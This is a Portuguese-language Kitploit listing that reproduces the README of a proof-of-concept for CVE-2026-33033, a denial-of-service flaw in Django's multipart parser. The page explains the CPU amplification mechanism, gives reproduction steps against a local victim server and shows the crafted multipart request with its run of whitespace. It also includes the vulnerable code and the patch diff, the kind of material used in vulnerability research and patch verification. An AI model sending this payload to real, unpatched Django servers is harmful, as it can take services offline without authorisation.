Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de Penetração
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

Prova de conceito de exploit para CVE-2026-33033, uma vulnerabilidade de negação de serviço no MultiPartParser do Django via amplificação de CPU por espaços em branco em base64, demonstrando amplificação de ~800x com uma única requisição HTTP.

Ver Repositório
211há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC CVE-2026-33033

Negação de serviço via amplificação de CPU por espaços em branco em base64 no MultiPartParser do Django

Uma única requisição HTTP de 2,5 MB pode prender um worker do Django por ~5 segundos, alcançando ~2.100x de amplificação de CPU em comparação com uma requisição normal do mesmo tamanho. Nenhuma autenticação é necessária.

Versões Afetadas

Esta vulnerabilidade foi corrigida no lançamento de segurança Django 6.0.4 (7 de abril de 2026), juntamente com backports para todas as branches suportadas.

BranchAfetadaCorrigida
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

Descrição Oficial

CVE-2026-33033: Potencial vulnerabilidade de negação de serviço no MultiPartParser via upload de arquivo codificado em base64 (Severidade: Moderada)

Ao usar django.http.multipartparser.MultiPartParser, uploads multipart com Content-Transfer-Encoding: base64 que incluam espaços em branco excessivos podem acionar cópias de memória repetidas, potencialmente degradando o desempenho.

— Notas de lançamento do Django 6.0.4

Outros problemas de segurança corrigidos no Django 6.0.4

CVESeveridadeDescrição
CVE-2026-3902BaixaSpoofing de cabeçalho ASGI via conflação de sublinhado/hífen
CVE-2026-4277BaixaAbuso de privilégio no GenericInlineModelAdmin
CVE-2026-4292BaixaAbuso de privilégio no ModelAdmin.list_editable
CVE-2026-33034BaixaBypass do limite de upload de memória ASGI via Content-Length ausente

Resumo da Vulnerabilidade

O MultiPartParser do Django possui um caminho de código especial para lidar com partes de arquivo com Content-Transfer-Encoding: base64. Após remover os espaços em branco de cada chunk, se o resultado não estiver alinhado a um múltiplo de 4 bytes, um loop while chama field_stream.read(1) para buscar bytes adicionais um de cada vez.

Quando o corpo do arquivo é quase inteiramente espaços em branco, cada byte buscado é reduzido a nada, então o loop continua — chamando read(1) uma vez por byte de espaço em branco. O insight crítico é que cada read(1) é muito mais caro do que parece:

Três camadas de amplificação

root@kitploit:~
Camada 1:  O loop de alinhamento base64 chama read(1) por byte de espaço em branco
              |
Camada 2:  LazyStream.read(1) busca o restante inteiro (~64 KB), fatia 1 byte,
          devolve ~64 KB - 1  -->  cópia de bytes O(C) por chamada
              |
Camada 3:  unget() faz  self._leftover = bytes + self._leftover
          criando um novo objeto bytes a cada vez  -->  memcpy de ~C bytes

Por chunk de 64 KB, o trabalho de cópia forma uma série aritmética:

root@kitploit:~
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 bilhões de operações de bytes

Para uma entrada de 2,5 MB (~40 chunks): ~86 bilhões de bytes de trabalho de memcpy a partir de uma única requisição HTTP.

Bypass da proteção existente

O Django inclui _update_unget_history() que lança SuspiciousMultipartForm se a mesma contagem de bytes for devolvida 40+ vezes em 50 operações. No entanto, neste ataque os tamanhos de unget são monotonicamente decrescentes (65535, 65534, 65533, ...), então cada tamanho é único e a verificação nunca é acionada.

Acionamento pré-view

O middleware CSRF acessa request.POST antes de qualquer view ser executada, então mesmo endpoints que retornam 403 incorrem no custo total do parsing.

Estrutura do Repositório

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # Este arquivo
├── LICENSE
├── requirements.txt    # Dependências Python
├── exploit.py          # Script de exploit
└── victim/             # Servidor Django vulnerável
    ├── manage.py
    ├── uwsgi.ini       # Configuração de deploy uWSGI
    └── victim/
        ├── __init__.py
        ├── settings.py  # Padrões do Django (nenhuma configuração especial necessária)
        ├── urls.py      # Endpoints /upload e /health
        └── wsgi.py

Passos para Reprodução

1. Clonar e configurar

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. Iniciar o servidor vítima

Opção A: Servidor de desenvolvimento do Django (mais rápido)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

Opção B: uWSGI (mais realista — usa 4 workers)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. Executar o exploit

Em um terminal separado:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

Opções:

FlagPadrãoDescrição
--targethttp://127.0.0.1:8000/uploadEndpoint de upload alvo
--size2621440 (2,5 MB)Tamanho do payload em bytes
--rounds3Número de rodadas de ataque

4. Saída esperada

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Negação de serviço via amplificação de CPU por espaços em
branco em base64 no MultiPartParser do Django
============================================================

Alvo:         http://127.0.0.1:8000/upload
Tamanho do payload: 2.621.440 bytes (2,5 MB)
Rodadas:      3

[*] Verificando saúde do servidor...
[+] Servidor ativo.

------------------------------------------------------------
[*] Fase 1: Enviando requisição BENIGNA (dados base64 normais)
------------------------------------------------------------
    Status: 200
    Tempo:   5,55 ms

------------------------------------------------------------
[*] Fase 2: Enviando requisições MALICIOSAS (base64 + espaços em branco)
------------------------------------------------------------

  Rodada 1/3:
    Status: 200
    Tempo:   4571,12 ms
  ...

============================================================
RESULTADOS
============================================================
  Requisição benigna:          5,55 ms
  Média do ataque:          4571,12 ms  (em 3 rodadas)
  Amplificação:                823x

[!] VULNERÁVEL: O tempo médio de ataque excede 1 segundo.
    Uma única requisição de 2,5 MB prende um worker por ~4,6s.
    Com 4 workers, apenas 4 requisições concorrentes podem causar DoS no servidor.

Como o Exploit Funciona

O exploit constrói um corpo POST multipart/form-data com uma única parte de arquivo:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2.621.433 espaços>A
------CVE2026-33033--
  1. O AAA inicial faz stripped_chunk = b"AAA" (3 bytes), então remaining = 3 % 4 = 3.
  2. O loop while chama field_stream.read(1) para buscar 1 byte adicional para alinhamento.
  3. Cada byte de espaço é reduzido a nada (b"".join(b" ".split()) == b""), mantendo remaining = 3.
  4. O loop continua para cada byte de espaço em branco no stream.
  5. Cada LazyStream.read(1) copia internamente ~64 KB via o mecanismo unget.

Código Vulnerável

django/http/multipartparser.py, linhas 302-325 (Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # reduz a vazio
            remaining = len(stripped_chunk) % 4               # permanece em 3

Correção

A correção (aplicada no Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) substitui o loop read(1) por byte por um read(self._chunk_size) em massa:

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

Principais mudanças:

  1. read(4 - remaining) → read(self._chunk_size) — lê 64 KB por vez em vez de 1-3 bytes, reduzindo as chamadas de leitura de ~2,5 milhões para ~40.
  2. stripped_chunk += ... → stripped_parts.append(...) + b"".join() final — evita concatenação de bytes potencialmente quadrática.
  3. len(stripped_chunk) % 4 → contador stripped_length — evita recálculo redundante de comprimento.

Aviso Legal

Esta prova de conceito é fornecida apenas para fins educacionais e de testes de segurança autorizados. Use-a com responsabilidade e somente contra sistemas que você possui ou para os quais tem permissão explícita para testar.

Licença

Apache License 2.0 — consulte LICENSE.

Baixar ferramenta